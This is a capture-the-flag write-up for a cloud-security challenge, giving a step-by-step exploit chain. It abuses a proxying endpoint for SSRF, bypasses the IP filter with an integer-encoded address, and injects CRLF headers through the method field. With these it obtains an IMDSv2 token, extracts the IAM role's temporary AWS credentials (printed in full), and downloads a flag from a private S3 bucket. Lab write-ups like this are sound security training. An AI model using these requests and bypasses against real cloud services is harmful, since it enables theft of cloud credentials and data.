Challenge 3: Cloud Security
===
This challenge involves a cloud API similar to what you might encounter during a
bug hunt. Find the flag in the format "FLAG{ xxxxx }" and write-up your approach.
Target : http://3.138.141.238/
Note: Brute-forcing and directory/file enumeration are not expected or required.
Deliverables:
1. A write up describing how you approached the challenge and found the flag (if found).
2. The flag (if found).
The challenge target is a web application presenting a UI for sending HTTP requests to specified endpoints:
The "API Public Docs" links on the page point to resources hosted on AWS in an S3 bucket named apitestdocs.
Examining the HTML source reveals several interesting details:
TestApi()GetDoc(), not standard hyperlinks, passing what appear to be S3 resource paths{"TotallyRealTestKey":"THISISSECRET"}Reviewing test.js:
TestApi() reads values from url and key input fields and sends an AJAX POST to /requester.php with a JSON payload containing the target URL and the key as X-API-Key.GetDoc() issues a GET request to gets3doc.php?doc=<path>, passing a document path that is used to generate a presigned S3 URL.Probing gets3doc.php directly confirms it crafts presigned URLs for S3 objects specified by the doc parameter:
Testing requester.php confirms it functions as an HTTP proxy, forwarding requests to any specified URL:
Potential attack vectors at this point:
requester.php to exploit a local file read vulnerability via file:// schemerequester.php to exploit SSRF, targeting internal AWS servicesgets3doc.php to generate presigned URLs for S3 objects outside the intended scopefile://A common first check for any URL-proxying endpoint is whether the file:// scheme is restricted. Testing it directly:
That path is blocked — a validation check triggers. Testing whether a 301 redirect via an externally hosted PHP script could bypass the restriction:
The file:// scheme is disabled at the libcurl level. Redirect-based bypass fails as well.
The target's IP resolves to an Amazon EC2 instance. AWS hosts an internal metadata service at 169.254.169.254 that provides instance metadata and, crucially, IAM security credentials bound to the instance's role.
A direct request to the metadata IP is rejected:
Attempting the 301 redirect trick here returns a 200 OK but with no body. However, when the redirect target is changed to an unresponsive address, the request times out — suggesting the metadata server is reachable but the response is being suppressed. Converting the IP to integer form (2852039166) yields the same silent 200 OK.
At this point the approach changed. The instance appears to be running IMDSv2 (Instance Metadata Service v2), which requires:
http://169.254.169.254/latest/api/token with the header x-aws-ec2-metadata-token-ttl-seconds to obtain a session tokenx-aws-ec2-metadata-tokenAdditionally, an HTTP header injection was identified in the method field of requester.php. While the header field is validated against a pattern requiring X- prefixed names, the method field is not sanitized and accepts CRLF sequences. This allows injecting arbitrary headers. An earlier observation from testing:
POST /requester.php HTTP/1.1
Host: 3.138.141.238
Content-Length: 166
{"url":"http://ke.gy/","method":"POST / HTTP/1.1\r\nayylmao: cool-custom-header\r\n\r\n","header":"X-API-Key: ..."}
POST / HTTP/1.1
ayylmao: cool-custom-header
/ HTTP/1.1
Host: ke.gy
X-API-Key: ...
This technique, combined with the integer-form IP bypass and a PUT method, allows issuing a valid IMDSv2 token request:
POST /requester.php HTTP/1.1
Host: 3.138.141.238
Content-Length: 114
{"url":"http://2852039166/latest/api/token","method":"PUT","header":"X-aws-ec2-metadata-token-ttl-seconds: 300"}
AQAEAHhnfPvJ6tOfXP9S-Km9tBmui0DU-JWBBTy_N6M5YhL8ly3Orw==
A valid token is returned. Using it to query the metadata service:
POST /requester.php HTTP/1.1
Host: 3.138.141.238
Content-Length: 155
{"url":"http://2852039166/latest/meta-data","method":"GET","header":"X-aws-ec2-metadata-token: AQAEAHhnfPvJ6tOfXP9S-Km9tBmui0DU-JWBBTy_N6M5YhL8ly3Orw=="}
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hibernation/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/
The presence of the iam/ path is the primary target. Querying the attached IAM role's security credentials:
{"url":"http://2852039166/latest/meta-data/iam/security-credentials/S3Role","method":"GET","header":"X-aws-ec2-metadata-token: AQAEAHhnfPvJ6tOfXP9S-Km9tBmui0DU-JWBBTy_N6M5YhL8ly3Orw=="}
{
"Code" : "Success",
"LastUpdated" : "2021-07-14T02:12:14Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA5HRVYIWQMC5E4DOL",
"SecretAccessKey" : "g2/mPfn4aBLKvRUZGBbOYXLHvCIkLsMya95dLWZY",
"Token" : "[session token]",
"Expiration" : "2021-07-14T08:17:39Z"
}
With IAM credentials in hand, the apitestdocs S3 bucket (identified earlier from the "API Public Docs" links) can be listed directly:
$ export AWS_ACCESS_KEY_ID=ASIA5HRVYIWQMC5E4DOL
$ export AWS_SECRET_ACCESS_KEY=g2/mPfn4aBLKvRUZGBbOYXLHvCIkLsMya95dLWZY
$ export AWS_SESSION_TOKEN=[session token]
$ aws s3 ls s3://apitestdocs
PRE public/
2021-06-23 21:06:43 22 flag.txt
The bucket contains flag.txt at the root, outside the public/ prefix — inaccessible through the normal GetDoc() flow. Generating a presigned URL via the AWS CLI ran into a regional signature compatibility issue:
Switching to boto3 with explicit SigV4 signing resolves the issue:
from botocore.client import Config
import boto3
s3 = boto3.client(
's3',
aws_access_key_id='ASIA5HRVYIWQMC5E4DOL',
aws_secret_access_key='g2/mPfn4aBLKvRUZGBbOYXLHvCIkLsMya95dLWZY',
aws_session_token='[session token]',
config=Config(signature_version='s3v4')
)
s3.download_file('apitestdocs', 'flag.txt', 'flag.txt')
FLAG{Buckets_0f_data}
The complete exploit chain:
requester.php) and a hardcoded API key in HTML sourcemethod parameter enables arbitrary request customization169.254.169.254) are blocked; integer-format IP encoding (2852039166) bypasses the filter/iam/security-credentials/S3Role and extract short-lived AWS credentialsapitestdocs S3 bucket and download flag.txt